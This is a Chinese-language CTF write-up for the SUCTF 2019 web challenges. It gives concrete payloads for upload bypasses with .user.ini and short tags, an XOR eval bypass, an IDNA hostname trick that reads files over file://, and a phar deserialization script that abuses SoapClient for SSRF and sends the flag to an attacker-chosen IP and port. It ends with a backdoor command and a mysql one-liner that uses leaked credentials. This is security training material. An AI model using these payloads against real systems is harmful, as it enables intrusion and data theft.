SUCTF2019_Web_writeup

check in

简单的文件上传
首先文件中加入

1
2
#define test_width 16
#define test_height 7

绕过exif_imagetype()方法的检测,然后尝试更改解析规则
前期没注意是中间件是nginx,试了好久的.htaccess
注意到是nginx后,上传.user.ini 来getshell 参考https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

然后上传1.jpg 用短标签绕过<?的检测

此时内容已被包含在index.php中,访问index执行命令。

easyphp

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

经过正则后的字符串放在eval中执行。
显然经过多层限制,直接RCE是不行的,需要先执行get_the_flag()函数来触发文件上传,通过上传来getshell。
首先需要fuzz出异或的不可见字符来构造一个_GET。利用GET传参执行

1
%fe%fe%fe%fe^%a1%b9%bb%aa

最终构造出一个可以执行的payload

1
?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=phpinfo

然后执行get_the_flag函数

1
http://47.111.59.243:9001/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag

剩下的就和上题很相似了,利用.htaccess更改解析getshell。
getshell之后注意还需要bypass open_basedir来读flag。
参考https://xz.aliyun.com/t/4720

ps:附上fuzz异或的脚本

1
2
3
4
5
6
7
8
9
<?php

for($i=0;$i<255;$i++){
$t = chr($i)^chr(254);
if($t == $argv[1]){
echo dechex($i);
break;
}
}

Pythonginx

给出了部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
        @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
</code>
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->

审计后先想到了最近的blackhat议题。
详见https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
仔细读完pdf你就懂了。
构造url绕过,根据提示先读nginx

1
http://47.111.59.243:9000/getUrl?url=file://suctf.cℂ/../../../usr/local/nginx/conf/nginx.conf

得到flag位置
然后读flag

1
http://47.111.59.243:9000/getUrl?url=file://suctf.cℂ/../../../usr/fffffflag

ezsql

好像非预期了
直接上payload吧

后来得知sql语句为

1
select $_GET['a'] || flag from flag

不知道想考什么?。。。

upload labs2

代码审计
关键点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){

$ip = $_POST['ip']; //你用来获取flag的服务器ip
$port = $_POST['port']; //你用来获取flag的服务器端口

$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
else {
echo "You r not admin!";

那么需要找到一个ssrf来获取flag。
继续审计

1
2
3
4
5
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}

finfo_file函数可以触发phar反序列化,而filename又完全可控。
那么思路就是finfo_file触发反序列化,利用SoapClient类来ssrf访问admin.php获取flag。
问题来了

1
2
3
4
5
6
7
8
9
10
11
12
include 'class.php';

if (isset($_POST["submit"]) && isset($_POST["url"])) {
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}else{
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
}
}

这里过滤了众多协议,测试发现这个正则只是不让在文件开头使用phar,
那么我可以用例如compress.bzip2://phar://来绕过正则。参考(https://xz.aliyun.com/t/2958)
但是compress.bzip2也被过滤了。。
接下来陷入漫长的fuzz过程中。找到了另一个可以用的Wrapper —— php://filter
构造

1
php://filter/resource=phar://

来绕过正则,实现phar反序列化
生成phar的脚本,改编自wupco大佬

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class File {
public $file_name = "";
public $func = "SoapClient";

function __construct(){
$target = "http://127.0.0.1/admin.php";
$post_string = 'admin=&ip=your_ip&port=your_port&clazz=SplStack&func1=push&func2=push&func3=push&arg1=1&arg2=1&arg3=1'. "";
$headers = [];
$ua=str_replace("^^","\r\n",'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string);
$this->file_name = [
null,
array('location' => $target,
'user_agent'=> $ua,
'uri'=>'altman')
];
}
}

$aaa=new File();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIFphp __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($aaa); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

生成后修改phar文件后缀为jpg,然后上传得到路径。
再去func.php触发反序列化

1
php://filter/resource=phar://upload/a87136ce5a8b85871f1d0b6b2add38d2/032b2cc936860b03048302d991c3498f.jpg

在端口收到flag。

Cocktail’s Remix

(赛后做出)
扫到robots.txt,给了一处任意文件下载。
一番读文件找到了数据库的账户密码。
尝试gopher打mysql失败。
读取info.php

发现一个奇怪的mod
将其下载下来

1
/usr/lib/apache2/modules/mod_cocktail.so

然后逆出来找到一个后门(别问我,不会逆)

后门在heads中的Reffer。将命令b64后传递即可执行。

一番寻找没找到flag,想起来mysql。
想写入一个shell做代理连接mysql,
但是发现没有写权限。
于是直接执行

1
mysql -hMysqlServer -udba -prNhHmmNkN3xu4MBYhm -e "show databases;use flag;show tables;select * from flag;" > /tmp/1.txt

然后在1.txt中读取flag